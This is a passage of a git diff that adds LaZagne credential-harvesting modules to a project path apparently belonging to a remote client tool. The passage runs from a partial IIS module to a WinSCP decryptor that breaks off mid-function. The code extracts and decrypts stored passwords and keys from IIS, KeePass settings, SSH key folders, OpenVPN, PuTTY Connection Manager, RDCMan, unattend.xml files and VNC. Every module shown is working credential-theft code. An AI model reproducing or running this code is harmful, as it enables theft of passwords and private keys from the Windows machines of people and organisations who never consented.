+ exe_files = self.find_files(os.environ['WINDIR'] + '\\System32\\inetsrv', 'appcmd.exe')
+ if len(exe_files) == 0:
+ self.debug(u'File not found appcmd.exe')
+ return
+
+ self.info(u'appcmd.exe files found: {files}'.format(files=exe_files))
+ output = self.execute_get_stdout(exe_files[-1], 'list apppool')
+ if output == None:
+ self.debug(u'Problems with Application Pool list')
+ return
+
+ app_list = []
+ for line in output.readlines():
+ app_list.append(re.findall(r'".*"', line)[0].split('"')[1])
+
+
+ for app in app_list:
+ values = {}
+ username = ''
+ password = ''
+
+ output = self.execute_get_stdout(exe_files[-1], 'list apppool ' + app + ' /text:*')
+
+ for line in output.readlines():
+ if re.search(r'userName:".*"', line):
+ username = re.findall(r'userName:".*"', line)[0].split('"')[1]
+
+ if re.search(r'password:".*"', line):
+ password = re.findall(r'password:".*"', line)[0].split('"')[1]
+
+ if password != '' :
+ values['AppPool.Name'] = app
+ values['Username'] = username
+ values['Password'] = password
+
+ pfound.append(values)
+
+
+ return pfound
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/iiscentralcertp.py b/foreign/client_handling/lazagne/softwares/sysadmin/iiscentralcertp.py
new file mode 100644
index 0000000..a66ff7f
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/iiscentralcertp.py
@@ -0,0 +1,138 @@
+# -*- coding: utf-8 -*-
+import base64
+import fnmatch
+import os
+import rsa
+import string
+
+from random import *
+from xml.dom import minidom
+
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class IISCentralCertP(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, name='iiscentralcertp', category='sysadmin', registry_used=True, winapi_used=True)
+
+ def find_files(self, path, file):
+ """
+ Try to find all files with the same name
+ """
+ founded_files = []
+ for dirpath, dirnames, files in os.walk(path):
+ for file_name in files:
+ if fnmatch.fnmatch(file_name, file):
+ founded_files.append(dirpath + '\\' + file_name)
+
+ return founded_files
+
+ def create_RSAKeyValueFile(self, exe_file, container):
+ tmp_file = "".join(choice(string.ascii_letters + string.digits) for x in range(randint(8, 10))) + ".xml"
+ try:
+ os.system(exe_file + " -px " + container + " " + tmp_file + " -pri > nul")
+ except OSError:
+ self.debug(u'Error executing {container}'.format(container=container))
+ tmp_file = ''
+
+ return tmp_file
+
+ def get_registry_key(self, reg_key, parameter):
+ data = ''
+ try:
+ if reg_key.startswith('HKEY_LOCAL_MACHINE'):
+ hkey = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, reg_key.replace('HKEY_LOCAL_MACHINE\\', ''))
+ data = winreg.QueryValueEx(hkey, parameter)[0]
+
+ except Exception as e:
+ self.debug(e)
+
+ return data
+
+ def decrypt_hash_b64(self, hash_b64, privkey):
+ hash = bytearray(base64.b64decode(hash_b64))
+ hash.reverse()
+ hash_b64 = base64.b64encode(hash)
+ hash = base64.b64decode(hash_b64)
+ message = rsa.decrypt(hash, privkey)
+ return message.decode('UTF-16')
+
+ def GetLong(self, nodelist):
+ rc = []
+ for node in nodelist:
+ if node.nodeType == node.TEXT_NODE:
+ rc.append(node.data)
+
+ st = ''.join(rc)
+ raw = base64.b64decode(st)
+ return int(raw.encode('hex'), 16)
+
+ def read_RSAKeyValue(self, rsa_key_xml):
+ xmlStructure = minidom.parseString(rsa_key_xml)
+
+ MODULUS = self.GetLong(xmlStructure.getElementsByTagName('Modulus')[0].childNodes)
+ EXPONENT = self.GetLong(xmlStructure.getElementsByTagName('Exponent')[0].childNodes)
+ D = self.GetLong(xmlStructure.getElementsByTagName('D')[0].childNodes)
+ P = self.GetLong(xmlStructure.getElementsByTagName('P')[0].childNodes)
+ Q = self.GetLong(xmlStructure.getElementsByTagName('Q')[0].childNodes)
+ InverseQ = self.GetLong(xmlStructure.getElementsByTagName('InverseQ')[0].childNodes)
+
+ privkey = rsa.PrivateKey(MODULUS, EXPONENT, D, P, Q)
+ self.debug(u'RSA Key Value - PEM:\n {RSAkey}'.format(RSAkey=privkey.save_pkcs1(format='PEM')))
+
+ return privkey
+
+ def run(self):
+ pfound = []
+
+ ccp_enabled = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider',
+ 'Enabled')
+ if ccp_enabled != 1:
+ self.debug(u'IIS CentralCertProvider is not enabled')
+ return
+
+ exe_files = self.find_files(os.environ['WINDIR'] + '\\Microsoft.NET\\Framework64\\', 'aspnet_regiis.exe')
+ if len(exe_files) == 0:
+ exe_files = self.find_files(os.environ['WINDIR'] + '\\Microsoft.NET\\Framework\\', 'aspnet_regiis.exe')
+ if len(exe_files) == 0:
+ self.debug(u'File not found aspnet_regiis.exe')
+ return
+
+ self.info(u'aspnet_regiis.exe files found: {files}'.format(files=exe_files))
+ rsa_xml_file = self.create_RSAKeyValueFile(exe_files[-1], "iisWASKey")
+ if rsa_xml_file == '':
+ self.debug(u'Problems extracting RSA Key Value')
+ return
+
+ with open(rsa_xml_file, 'rb') as File:
+ rsa_key_xml = File.read()
+
+ os.remove(rsa_xml_file)
+ self.debug(u'Temporary file removed: {filename}'.format(filename=rsa_xml_file))
+ privkey = self.read_RSAKeyValue(rsa_key_xml)
+ values = {}
+
+ CertStoreLocation = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider',
+ 'CertStoreLocation')
+ values['CertStoreLocation'] = CertStoreLocation
+
+ username = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider',
+ 'Username')
+ values['Username'] = username
+
+ pass64 = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider',
+ 'Password')
+ values['Password'] = self.decrypt_hash_b64(pass64, privkey)
+
+ privpass64 = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider',
+ 'PrivateKeyPassword')
+ values['Private Key Password'] = self.decrypt_hash_b64(privpass64, privkey)
+
+ pfound.append(values)
+ return pfound
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/keepassconfig.py b/foreign/client_handling/lazagne/softwares/sysadmin/keepassconfig.py
new file mode 100644
index 0000000..7caf5d8
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/keepassconfig.py
@@ -0,0 +1,116 @@
+# -*- coding: utf-8 -*-
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import *
+
+import os
+
+from xml.etree.ElementTree import parse
+
+class KeePassConfig(ModuleInfo):
+
+ def __init__(self):
+ ModuleInfo.__init__(self, 'keepassconfig', 'sysadmin')
+ self.attr_to_extract = ["Keyfile", "Database", "Type"]
+
+ def run(self):
+ """
+ Main function
+ """
+
+ pwd_found = []
+
+ #Keepass1
+ connection_file_directory = os.path.join(constant.profile['APPDATA'], u'KeePass')
+ if os.path.exists(connection_file_directory):
+ connection_file_location = os.path.join(connection_file_directory, u'KeePass.ini')
+ if os.path.isfile(connection_file_location):
+ file_content = open(connection_file_location, 'r').read()
+ #KeeKeySourceID
+ if len(file_content.split("KeeKeySourceID")) > 1:
+ KeeKeySource_number = len(file_content.split("KeeKeySourceID")) - 1
+ for i in range(0, KeeKeySource_number ):
+ database = file_content.partition("KeeKeySourceID" + str(i) + "=" )[2].partition('\n')[0]
+ database = database.replace('..\\..\\', 'C:\\')
+ keyfile = file_content.partition("KeeKeySourceValue" + str(i) + "=" )[2].partition('\n')[0]
+ pwd_found.append({
+ 'Keyfile': keyfile,
+ 'Database': database
+ })
+ #KeeLastDb
+ if file_content.partition("KeeLastDb=")[1] == "KeeLastDb=":
+ database = file_content.partition("KeeLastDb=")[2].partition('\n')[0]
+ database = database.replace('..\\..\\', 'C:\\')
+ already_in_pwd_found = 0
+ for elmt in pwd_found:
+ if database == elmt['Database']:
+ already_in_pwd_found = 1
+ if already_in_pwd_found == 0:
+ pwd_found.append({
+ 'Keyfile': "No keyfile found",
+ 'Database': database
+ })
+ #Keepass2
+ connection_file_directory = os.path.join(constant.profile['APPDATA'], u'KeePass')
+ if os.path.exists(connection_file_directory):
+ connection_file_location = os.path.join(connection_file_directory, u'KeePass.config.xml')
+
+ if os.path.isfile(connection_file_location):
+ try:
+ connections = parse(connection_file_location).getroot()
+ connection_nodes = connections.findall(".//Association")
+ for connection_node in connection_nodes:
+ database = connection_node.find('DatabasePath').text.replace('..\\..\\', 'C:\\')
+ type = ""
+ if connection_node.find('Password') is not None:
+ type += "Password - "
+ if connection_node.find('UserAccount') is not None:
+ type += "NTLM - "
+ try:
+ keyfile = connection_node.find('KeyFilePath').text.replace('..\\..\\', 'C:\\')
+ type += "Keyfile - "
+ except:
+ keyfile = "No keyfile found"
+
+ pwd_found.append({
+ 'Keyfile': keyfile,
+ 'Database': database,
+ 'Type': type[:-3]
+ })
+ except:
+ pass
+
+ try:
+ connections = parse(connection_file_location).getroot()
+ connection_nodes = connections.findall(".//LastUsedFile")
+ for connection_node in connection_nodes:
+ database = connection_node.find('Path').text.replace('..\\..\\', 'C:\\')
+ already_in_pwd_found = 0
+ for elmt in pwd_found:
+ if database == elmt['Database']:
+ already_in_pwd_found = 1
+ if already_in_pwd_found == 0:
+ pwd_found.append({
+ 'Keyfile': "No keyfile found",
+ 'Database': database
+ })
+ except:
+ pass
+
+ try:
+ connections = parse(connection_file_location).getroot()
+ connection_nodes = connections.findall(".//ConnectionInfo")
+ for connection_node in connection_nodes:
+ database = connection_node.find('Path').text.replace('..\\..\\', 'C:\\')
+ already_in_pwd_found = 0
+ for elmt in pwd_found:
+ if database == elmt['Database']:
+ already_in_pwd_found = 1
+ if already_in_pwd_found == 0:
+ pwd_found.append({
+ 'Keyfile': "No keyfile found",
+ 'Database': database
+ })
+ except:
+ pass
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/opensshforwindows.py b/foreign/client_handling/lazagne/softwares/sysadmin/opensshforwindows.py
new file mode 100644
index 0000000..5c410d2
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/opensshforwindows.py
@@ -0,0 +1,90 @@
+# -*- coding: utf-8 -*-
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+# from Crypto.PublicKey import RSA
+# from Crypto.PublicKey import DSA
+import os
+
+
+class OpenSSHForWindows(ModuleInfo):
+
+ def __init__(self):
+ ModuleInfo.__init__(self, 'opensshforwindows', 'sysadmin')
+ #self.key_files_location = os.path.join(constant.profile["USERPROFILE"], u'.ssh')
+
+ # Retrieve SSH private key even if a passphrase is set (the goal is to remove crypto dependency)
+ # def is_private_key_unprotected(self, key_content_encoded, key_algorithm):
+ # """
+ # Check if the private key can be loaded without specifying any passphrase.
+ #
+ # PyCrypto >= 2.6.1 required in order to have the method importKey() in DSA class.
+ #
+ # :param key_content_encoded: Encoded content of the private key to test
+ # :param key_algorithm: Algorithm of the key (RSA or DSA)
+ # :return: True only if the key can be successfuly loaded and is usable
+ # """
+ # state = False
+ # try:
+ # # Try to load it
+ # if key_algorithm == "RSA":
+ # key = RSA.importKey(key_content_encoded)
+ # else:
+ # key = DSA.importKey(key_content_encoded)
+ # # Validate loading
+ # state = (key is not None and key.can_sign() and key.has_private())
+ # except Exception as e:
+ # self.error(u"Cannot validate key protection '%s'" % e)
+ # state = False
+ # pass
+ #
+ # return state
+
+ def extract_private_keys_unprotected(self):
+ """
+ Extract all DSA/RSA private keys that are not protected with a passphrase.
+
+ :return: List of encoded key (key file content)
+ """
+ keys = []
+ if os.path.isdir(self.key_files_location):
+ for (dirpath, dirnames, filenames) in os.walk(self.key_files_location, followlinks=True):
+ for f in filenames:
+ key_file_path = os.path.join(dirpath, f)
+ if os.path.isfile(key_file_path):
+ try:
+ # Read encoded content of the key
+ with open(key_file_path, "r") as key_file:
+ key_content_encoded = key_file.read()
+ # Determine the type of the key (public/private) and what is it algorithm
+ if "DSA PRIVATE KEY" in key_content_encoded:
+ key_algorithm = "DSA"
+ elif "RSA PRIVATE KEY" in key_content_encoded or "OPENSSH PRIVATE KEY" in key_content_encoded:
+ key_algorithm = "RSA"
+ else:
+ key_algorithm = None
+ # Check if the key can be loaded (used) without passphrase
+ # if key_algorithm is not None and self.is_private_key_unprotected(key_content_encoded,
+ # key_algorithm):
+ if key_algorithm:
+ keys.append(key_content_encoded)
+ except Exception as e:
+ self.error(u"Cannot load key file '%s' '%s'" % (key_file_path, e))
+ pass
+
+ return keys
+
+ def run(self):
+ """
+ Main function
+ """
+ self.key_files_location = os.path.join(constant.profile["USERPROFILE"], u'.ssh')
+ # Extract all DSA/RSA private keys that are not protected with a passphrase
+ unprotected_private_keys = self.extract_private_keys_unprotected()
+
+ # Parse and process the list of keys
+ key_found = []
+ for key in unprotected_private_keys:
+ values = {"Privatekey": key}
+ key_found.append(values)
+
+ return key_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/openvpn.py b/foreign/client_handling/lazagne/softwares/sysadmin/openvpn.py
new file mode 100644
index 0000000..9495cbd
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/openvpn.py
@@ -0,0 +1,55 @@
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+from foreign.client_handling.lazagne.config.winstructure import *
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import Win32CryptUnprotectData
+from foreign.client_handling.lazagne.config.constant import constant
+
+
+class OpenVPN(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, name='openvpn', category='sysadmin', registry_used=True, winapi_used=True)
+
+ def check_openvpn_installed(self):
+ try:
+ key = OpenKey(HKEY_CURRENT_USER, 'Software\\OpenVPN-GUI\\Configs')
+ return key
+ except Exception as e:
+ self.debug(str(e))
+ return False
+
+ def decrypt_password(self, encrypted_password, entropy):
+ return Win32CryptUnprotectData(encrypted_password,
+ entropy=entropy,
+ is_current_user=constant.is_current_user,
+ user_dpapi=constant.user_dpapi)
+
+ def get_credentials(self, key):
+ pwd_found = []
+ num_profiles = winreg.QueryInfoKey(key)[0]
+ for n in range(num_profiles):
+ name_skey = winreg.EnumKey(key, n)
+ skey = OpenKey(key, name_skey)
+ values = {'Profile': name_skey}
+ try:
+ encrypted_password = winreg.QueryValueEx(skey, "auth-data")[0]
+ entropy = winreg.QueryValueEx(skey, "entropy")[0][:-1]
+ password = self.decrypt_password(encrypted_password, entropy)
+ values['Password'] = password.decode('utf16')
+ except Exception as e:
+ self.debug(str(e))
+ pwd_found.append(values)
+ winreg.CloseKey(skey)
+ winreg.CloseKey(key)
+
+ return pwd_found
+
+ def run(self):
+ openvpn_key = self.check_openvpn_installed()
+ if openvpn_key:
+ results = self.get_credentials(openvpn_key)
+ if results:
+ return results
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/puttycm.py b/foreign/client_handling/lazagne/softwares/sysadmin/puttycm.py
new file mode 100644
index 0000000..6d908ab
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/puttycm.py
@@ -0,0 +1,51 @@
+# -*- coding: utf-8 -*-
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER, string_to_unicode
+
+import os
+
+
+class Puttycm(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'puttycm', 'sysadmin', registry_used=True)
+
+ def run(self):
+ database_path = self.get_default_database()
+ if database_path and os.path.exists(database_path):
+ return self.parse_xml(database_path)
+
+ def get_default_database(self):
+ try:
+ key = OpenKey(HKEY_CURRENT_USER, 'Software\\ACS\\PuTTY Connection Manager')
+ db = string_to_unicode(winreg.QueryValueEx(key, 'DefaultDatabase')[0])
+ winreg.CloseKey(key)
+ return db
+ except Exception:
+ return False
+
+ def parse_xml(self, database_path):
+ xml_file = os.path.expanduser(database_path)
+ tree = ElementTree(file=xml_file)
+ root = tree.getroot()
+
+ pwd_found = []
+ elements = ['name', 'protocol', 'host', 'port', 'description', 'login', 'password']
+ for connection in root.iter('connection'):
+ children = connection.getchildren()
+ values = {}
+ for child in children:
+ for c in child:
+ if str(c.tag) in elements:
+ values[str(c.tag).capitalize()] = str(c.text)
+
+ if values:
+ pwd_found.append(values)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/rdpmanager.py b/foreign/client_handling/lazagne/softwares/sysadmin/rdpmanager.py
new file mode 100644
index 0000000..5b3e4f5
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/rdpmanager.py
@@ -0,0 +1,96 @@
+# -*- coding: utf-8 -*-
+import base64
+
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import Win32CryptUnprotectData
+from foreign.client_handling.lazagne.config.constant import constant
+
+import os
+
+
+class RDPManager(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'rdpmanager', 'sysadmin', winapi_used=True)
+
+ def decrypt_password(self, encrypted_password):
+ try:
+ decoded = base64.b64decode(encrypted_password)
+ password_decrypted = Win32CryptUnprotectData(decoded, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
+ password_decrypted = password_decrypted.replace('\x00', '')
+ except Exception:
+ password_decrypted = encrypted_password.replace('\x00', '')
+ return password_decrypted
+
+ def format_output_tag(self, tag):
+ tag = tag.lower()
+ if 'username' in tag:
+ tag = 'Login'
+ elif 'hostname' in tag:
+ tag = 'URL'
+ return tag.capitalize()
+
+ def check_tag_content(self, values, c):
+ if 'password' in c.tag.lower():
+ values['Password'] = self.decrypt_password(c.text)
+ else:
+ tag = self.format_output_tag(c.tag)
+ values[tag] = c.text
+ return values
+
+ def parse_element(self, root, element):
+ pwd_found = []
+ try:
+ for r in root.findall(element):
+ values = {}
+ for child in r.getchildren():
+ if child.tag == 'properties':
+ for c in child.getchildren():
+ values = self.check_tag_content(values, c)
+ elif child.tag == 'logonCredentials':
+ for c in child.getchildren():
+ values = self.check_tag_content(values, c)
+ else:
+ values = self.check_tag_content(values, child)
+ if values:
+ pwd_found.append(values)
+ except Exception as e:
+ self.debug(str(e))
+
+ return pwd_found
+
+ def run(self):
+ settings = [
+ os.path.join(constant.profile['LOCALAPPDATA'],
+ u'Microsoft Corporation\\Remote Desktop Connection Manager\\RDCMan.settings'),
+ os.path.join(constant.profile['LOCALAPPDATA'],
+ u'Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings')
+ ]
+
+ for setting in settings:
+ if os.path.exists(setting):
+ self.debug(u'Setting file found: {setting}'.format(setting=setting))
+
+ tree = ElementTree(file=setting)
+ root = tree.getroot()
+ pwd_found = []
+
+ elements = [
+ 'CredentialsProfiles/credentialsProfiles/credentialsProfile',
+ 'DefaultGroupSettings/defaultSettings/logonCredentials',
+ 'file/server',
+ ]
+
+ for element in elements:
+ pwd_found += self.parse_element(root, element)
+
+ try:
+ for r in root.find('FilesToOpen'):
+ if os.path.exists(r.text):
+ self.debug(u'New setting file found: %s' % r.text)
+ pwd_found += self.parse_xml(r.text)
+ except Exception:
+ pass
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/unattended.py b/foreign/client_handling/lazagne/softwares/sysadmin/unattended.py
new file mode 100644
index 0000000..dd0733e
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/unattended.py
@@ -0,0 +1,75 @@
+# -*- coding: utf-8 -*-
+
+import base64
+
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.winstructure import string_to_unicode
+
+import os
+
+
+class Unattended(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'unattended', 'sysadmin', system_module=True)
+
+ # Password should be encoded in b64
+ def try_b64_decode(self, message):
+ try:
+ return base64.b64decode(message)
+ except Exception:
+ return message
+
+ def run(self):
+
+ windir = os.path.join(constant.profile['HOMEDRIVE'], string_to_unicode(os.sep), u'Windows')
+ files = [
+ 'Panther\\Unattend.xml',
+ 'Panther\\Unattended.xml',
+ 'Panther\\Unattend\\Unattended.xml',
+ 'Panther\\Unattend\\Unattend.xml',
+ 'System32\\Sysprep\\unattend.xml',
+ 'System32\\Sysprep\\Panther\\unattend.xml'
+ ]
+
+ pwd_found = []
+ xmlns = '{urn:schemas-microsoft-com:unattend}'
+ for file in files:
+ path = os.path.join(windir, string_to_unicode(file))
+ if os.path.exists(path):
+ self.debug(u'Unattended file found: %s' % path)
+ tree = ElementTree(file=path)
+ root = tree.getroot()
+
+ for setting in root.findall('%ssettings' % xmlns):
+ component = setting.find('%scomponent' % xmlns)
+
+ auto_logon = component.find('%sauto_logon' % xmlns)
+ if auto_logon:
+ username = auto_logon.find('%sUsername' % xmlns)
+ password = auto_logon.find('%sPassword' % xmlns)
+ if all((username, password)):
+ # Remove false positive (with following message on password => *SENSITIVE*DATA*DELETED*)
+ if 'deleted' not in password.text.lower():
+ pwd_found.append({
+ 'Login': username.text,
+ 'Password': self.try_b64_decode(password.text)
+ })
+
+ user_accounts = component.find('%suser_accounts' % xmlns)
+ if user_accounts:
+ local_accounts = user_accounts.find('%slocal_accounts' % xmlns)
+ if local_accounts:
+ for local_account in local_accounts.findall('%slocal_account' % xmlns):
+ username = local_account.find('%sName' % xmlns)
+ password = local_account.find('%sPassword' % xmlns)
+ if all((username, password)):
+ if 'deleted' not in password.text.lower():
+ pwd_found.append({
+ 'Login': username.text,
+ 'Password': self.try_b64_decode(password.text)
+ })
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/vnc.py b/foreign/client_handling/lazagne/softwares/sysadmin/vnc.py
new file mode 100644
index 0000000..b4b8030
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/vnc.py
@@ -0,0 +1,162 @@
+# Code based on vncpasswd.py by trinitronx
+# https://github.com/trinitronx/vncpasswd.py
+import binascii
+import codecs
+import traceback
+
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+from . import d3des as d
+from foreign.client_handling.lazagne.config.winstructure import *
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class Vnc(ModuleInfo):
+ def __init__(self):
+ self.vnckey = [23, 82, 107, 6, 35, 78, 88, 7]
+ ModuleInfo.__init__(self, name='vnc', category='sysadmin')
+
+ def split_len(self, seq, length):
+ return [seq[i:i + length] for i in range(0, len(seq), length)]
+
+ def do_crypt(self, password, decrypt):
+ passpadd = (password + '\x00' * 8)[:8]
+ strkey = b''.join([chr_or_byte(x) for x in int(self.vnckey)])
+ key = d.deskey(strkey, decrypt)
+ crypted = d.desfunc(passpadd, key)
+ return crypted
+
+ def unhex(self, s):
+ try:
+ s = codecs.decode(s, 'hex')
+ except TypeError as e:
+ if e.message == 'Odd-length string':
+ self.debug('%s . Chopping last char off... "%s"' % (e.message, s[:-1]))
+ s = codecs.decode(s[:-1], 'hex')
+ else:
+ return False
+ return s
+
+ def reverse_vncpassword(self, hash):
+ encpasswd = self.unhex(hash)
+ pwd = None
+ if encpasswd:
+ # If the hex encoded passwd length is longer than 16 hex chars and divisible
+ # by 16, then we chop the passwd into blocks of 64 bits (16 hex chars)
+ # (1 hex char = 4 binary bits = 1 nibble)
+ hexpasswd = codecs.encode(encpasswd, 'hex')
+ if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0:
+ splitstr = self.split_len(codecs.encode(hash, 'hex'), 16)
+ cryptedblocks = []
+ for sblock in splitstr:
+ cryptedblocks.append(self.do_crypt(codecs.decode(sblock, 'hex'), True))
+ pwd = b''.join(cryptedblocks)
+ elif len(hexpasswd) <= 16:
+ pwd = self.do_crypt(encpasswd, True)
+ else:
+ pwd = self.do_crypt(encpasswd, True)
+ return pwd
+
+ def vnc_from_registry(self):
+ pfound = []
+ vncs = (
+ ('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4', 'Password'),
+ ('RealVNC 3.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\vncserver', 'Password'),
+ ('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'),
+ ('RealVNC 4.x', 'HKEY_CURRENT_USER\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'),
+ ('RealVNC 3.x', 'HKEY_CURRENT_USER\\Software\\ORL\\WinVNC3', 'Password'),
+ ('TightVNC', 'HKEY_CURRENT_USER\\Software\\TightVNC\\Server', 'Password'),
+ ('TightVNC', 'HKEY_CURRENT_USER\\Software\\TightVNC\\Server', 'PasswordViewOnly'),
+ ('TightVNC', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'Password'),
+ ('TightVNC ControlPassword', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'ControlPassword'),
+ ('TightVNC', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'PasswordViewOnly'),
+ ('TigerVNC', 'HKEY_LOCAL_MACHINE\\Software\\TigerVNC\\Server', 'Password'),
+ ('TigerVNC', 'HKEY_CURRENT_USER\\Software\\TigerVNC\\Server', 'Password'),
+ )
+
+ for vnc in vncs:
+ try:
+ if vnc[1].startswith('HKEY_LOCAL_MACHINE'):
+ hkey = OpenKey(HKEY_LOCAL_MACHINE, vnc[1].replace('HKEY_LOCAL_MACHINE\\', ''))
+
+ elif vnc[1].startswith('HKEY_CURRENT_USER'):
+ hkey = OpenKey(HKEY_CURRENT_USER, vnc[1].replace('HKEY_CURRENT_USER\\', ''))
+
+ reg_key = winreg.QueryValueEx(hkey, vnc[2])[0]
+ except Exception:
+ self.debug(u'Problems with key:: {reg_key}'.format(reg_key=vnc[1]))
+ continue
+
+ try:
+ enc_pwd = binascii.hexlify(reg_key).decode()
+ except Exception:
+ self.debug(u'Problems with decoding: {reg_key}'.format(reg_key=reg_key))
+ continue
+
+ values = {}
+ try:
+ password = self.reverse_vncpassword(enc_pwd)
+ if password:
+ values['Password'] = password
+ except Exception:
+ self.info(u'Problems with reverse_vncpassword: {reg_key}'.format(reg_key=reg_key))
+ self.debug()
+ continue
+
+ values['Server'] = vnc[0]
+ # values['Hash'] = enc_pwd
+ pfound.append(values)
+
+ return pfound
+
+ def vnc_from_filesystem(self):
+ # os.environ could be used here because paths are identical between users
+ pfound = []
+ vncs = (
+ ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd'),
+ ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd2'),
+ ('UltraVNC', os.environ['PROGRAMFILES'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd'),
+ ('UltraVNC', os.environ['PROGRAMFILES'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd2'),
+ ('UltraVNC', os.environ['PROGRAMFILES'] + '\\UltraVNC\\ultravnc.ini', 'passwd'),
+ ('UltraVNC', os.environ['PROGRAMFILES'] + '\\UltraVNC\\ultravnc.ini', 'passwd2'),
+ ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\UltraVNC\\ultravnc.ini', 'passwd'),
+ ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\UltraVNC\\ultravnc.ini', 'passwd2'),
+ )
+
+ for vnc in vncs:
+ string_to_match = vnc[2] + '='
+ enc_pwd = ''
+ try:
+ with open(vnc[1], 'r') as file:
+ for line in file:
+ if string_to_match in line:
+ enc_pwd = line.replace(string_to_match, '').replace('\n', '')
+ except Exception:
+ self.debug('Problems with file: {file}'.format(file=vnc[1]))
+ continue
+
+ values = {}
+ try:
+ password = self.reverse_vncpassword(enc_pwd)
+ if password:
+ values['Password'] = password
+ except Exception:
+ self.debug(u'Problems with reverse_vncpassword: {enc_pwd}'.format(enc_pwd=enc_pwd))
+ self.debug(traceback.format_exc())
+ continue
+
+ values['Server'] = vnc[0]
+ # values['Hash'] = enc_pwd
+ pfound.append(values)
+
+ return pfound
+
+ def vnc_from_process(self):
+ # Not yet implemented
+ return []
+
+ def run(self):
+ return self.vnc_from_filesystem() + self.vnc_from_registry() + self.vnc_from_process()
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/winscp.py b/foreign/client_handling/lazagne/softwares/sysadmin/winscp.py
new file mode 100644
index 0000000..b3bfe33
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/winscp.py
@@ -0,0 +1,129 @@
+# -*- coding: utf-8 -*-
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER
+
+
+class WinSCP(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'winscp', 'sysadmin', registry_used=True)
+ self.hash = ''
+
+ # ------------------------------ Getters and Setters ------------------------------
+ def decrypt_char(self):
+ hex_flag = 0xA3
+ charset = '0123456789ABCDEF'
+
+ if len(self.hash) > 0:
+ unpack1 = charset.find(self.hash[0])
+ unpack1 = unpack1 << 4
+
+ unpack2 = charset.find(self.hash[1])
+ result = ~((unpack1 + unpack2) ^ hex_flag) & 0xff
+
+ # store the new hash
+ self.hash = self.hash[2:]
+
